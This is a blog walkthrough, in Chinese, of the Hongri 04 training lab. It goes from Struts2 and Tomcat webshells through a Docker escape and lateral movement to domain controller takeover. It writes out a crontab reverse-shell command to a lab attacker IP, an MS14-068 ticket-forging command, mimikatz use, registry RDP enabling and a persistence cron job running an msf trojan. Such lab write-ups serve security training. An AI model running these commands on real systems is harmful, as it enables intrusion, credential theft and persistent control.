关于我

红日靶场04

红日靶场04

环境配置

自定义一张网卡 vmnet1:192.168.183.0

将web主机添加一个NAT模式的网卡,再将所有主机(包括web)添加 vmnet1网卡

启动主机,先启动win7后再启动web(否则环境容易出问题)

主机密码:

  • web:ubuntu:ubuntu
  • DC:administrator:Test2008(登录提示密码过期,我这里更改为Admin123456)
  • win7:douser:Dotest123

为了方便,登录主机后可以将win7的睡眠功能关掉,因为计算机休眠后sessions可能会断开:

image-20240806153604053

登录ubuntu,打开命令行,sudo -s提升为root权限,然后启动容器列表前三个docker:

image-20240806154847207

至此,环境搭建完毕,准备开打

信息搜集

IP探测

image-20240806164219360

确定IP为192.168.111.134

端口扫描

image-20240806164337626

发现开启了22、2001、2002、2003端口

网页信息收集

依次访问三个端口看看:

2001端口

image-20240806164950615

通过网页title可知是struts2框架,而struts2存在很多历史漏洞,那么思路就是对这个输入框进行漏洞检测

2002端口

页面为tomcat,版本为8.5.19

image-20240806170302277

同样可以使用漏扫器进行漏洞检测

2003端口

页面是phpmyadmin,但我这里好像出问题了:

image-20240806170738982

问题不大,可以先尝试前两个端口有没有漏洞

漏洞利用

2001端口 S2-045上传webshell

首先看看2001端口的struts2,附上工具链接:shack2/Struts2VulsTools

image-20240806171908105

扫描发现存在S2-045和S2-046,那么试试用S2-045利用:

上传一个冰蝎webshell:

image-20240806175318954

冰蝎连接:

image-20240806175357815

成功了

2002端口 tomcat解析漏洞上传webshell

这个版本的话,可以试试put漏洞:

image-20240806180639934

也是成功上传一个冰蝎马,连接一下:

image-20240806180753041

ok连上了,因为2003端口有点问题,所以就在这两个shell进行后渗透

后渗透

环境识别

先简单信息收集一下:

image-20240806182238091

权限都是root,但这ip看起来不太正常呢,没懂

看看主机名:

image-20240806182812010 image-20240806183001886

随机字符串,有点像虚拟容器哈

验证下看看是不是docker:

find / -name .dockerenv
image-20240806182442243

结果发现两个shell都是docker,那就只有试试docker逃逸了

docker逃逸

CDK上传到两个docker中进行不安全配置扫描:

image-20240806184600514

赋予权限并启动cdk:

./cdk* eva --full

首先是2001端口的docker:

image-20240806185451700

不知道怎么回事失败了,再看看2002端口: image-20240806185834721

这里检测到当前容器是以特权模式启动的,所以可以使用mount命令将物理机目录挂载到docker容器某个目录:

./cdk* run mount-disk

image-20240806190812684

ok,生成了目录/tmp/cdk_11VI1,cd进去看看:

image-20240806190953089

确实挂载了根目录,那么接下来可以考虑写计划任务或者写SSH密钥,前者比较简单所以先试试:

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.111.132/4444 0>&1" >> tmp/shell.sh
chmod 777 tmp/shell.sh
echo '*/2 * * * * root  bash /tmp/shell.sh' > etc/crontab

image-20240806191817175

写入计划任务后kali监听拿到了物理机root权限的反弹shell:

image-20240806191932145

权限为root,至此,完成docker逃逸

内网信息搜集

发现主机有内网网卡:

image-20240806192358253

这里选择使用msf进行接下来的内网操作

首先用msf的马子上线,无需多言:

image-20240806193310075

接下来就是配置路由:

image-20240806193852227

完事

然后用frp搭建一个隧道,过程不做赘述,效果是这样:

image-20240807022245176

image-20240807022258925

这样就搭好了

proxychains也修改一下conf:

image-20240807022719094

扫描域内主机:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run

image-20240806211500082

发现了两台主机:

  • TESTWIN7-PC:192.168.183.128
  • WIN-ENS2VR5TR3N:192.168.183.130(还是DNS服务器,推测可能为域控)

可以用proxychain代理nmap进行端口扫描:

proxychains nmap -sP -p- 192.168.183.129

觉得nmap有点慢也可以用proxifier代理在windows上,然后用工具扫: image-20240806221023863

image-20240806222437670

完毕,大大的445啊,首先想到经典的ms17010永恒之蓝

横向移动

ms17010上线域成员主机

这里要注意的是,攻击机在内网,所以paylaod应该选用正向即bind_tcp,并且最好把全局代理配上:

setg proxies socks5:127.0.0.1:8989

image-20240806233433189

成功了,为了保持稳定,把进程注入到winlog.exe里面,然后再试试域控能否利用永恒之蓝:

image-20240806235133136

失败(有的文章说也能成功。。。),那么先操作域成员主机

先看看权限:

image-20240806235333926

OK是system权限

再看看系统信息:

image-20240806235909687

发现存在域demo.com,看看域内主机:

image-20240807000954884

用mimikatz抓取一下密码:

image-20240806235549714

直接就抓到了:Dotest123

既然有了密码,首先就试试psexec:

image-20240807001104268

寄,没有成功,因为靶场描述说要考查ms14068,所以怀疑这里要用域内提权来打DC,试试

ms14068域内提权

首先是把利用程序传上去(ms14-068.exe、mimikatz.exe和PsExec64.exe),这里靶机作者人挺好,程序都在上面我就不传了(不是因为我懒)

首先生成票据:

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

image-20240807005254755

mimikatz导入TGT:

kerberos::ptc TGT_douser@DEMO.COM.ccache

image-20240807005638667

导入后再psexec横向移动试试

PsExec横向移动上线DC

这里使用PsExec64.exe前需要RDP连接该主机,因为这里拿到的DC的shell是一个弹窗

注册表开启RDP:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

image-20240807012236646

然后用proxychains进行RDP连接:

image-20240807012752002

这里报错了:

image-20240807033027740

因为我们是system权限,可以改本地administrator账户的密码

net user administrator Admin123456

然后登录本地administrator,不登录到域:

image-20240807045559735

这里又报错,需要再激活一下用户:

net user administrator /active:yes
image-20240807045645103

现在应该可以RDP了,登录本地administrator账户:

image-20240807045950826

成功登录

因为douser用户桌面有工具,所以我们打开他的桌面文件夹C:\Users\douser\Desktop

image-20240807050150229

直接命令行启动PsExec64.exe进行横向移动:

PsExec64.exe /accepteula /s \\WIN-ENS2VR5TR3N cmd

image-20240807050436425

成功获取到了DC的shell,确认一下信息: image-20240807050719900

ok没有问题

权限维持

老套路,在出网的web主机上写计划任务即可,因为web主机上存有我们的msf木马(如果没有migrate迁移进程的话),所以可以这样写计划任务:

echo "* * * * * cd /root && ./mshell.elf" >> /var/spool/cron/crontabs/root

image-20240807052114093

这样就会每分钟执行依次木马,msf监听即可获得shell:

image-20240807052423115

总结

本次实践用到的知识点与操作方法:

  • struts2漏洞,利用S2-045成功getshell
  • Tomcat解析漏洞,PUT上传冰蝎马getshell
  • Docker逃逸,利用docker配置不当实现docker逃逸,获得内网宿主机权限
  • frp搭建内网隧道代理,方便内网阶段的渗透
  • ms17-010,永恒之蓝获得域成员主机的shell
  • ms14-068,域内提权配合psexec横向移动控制DC

Created by Yuy0ung. Powered by GitHub Page.